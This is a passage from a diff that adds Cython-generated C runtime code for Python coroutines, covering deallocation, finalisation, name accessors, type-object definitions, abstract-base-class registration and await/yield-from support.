(unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + 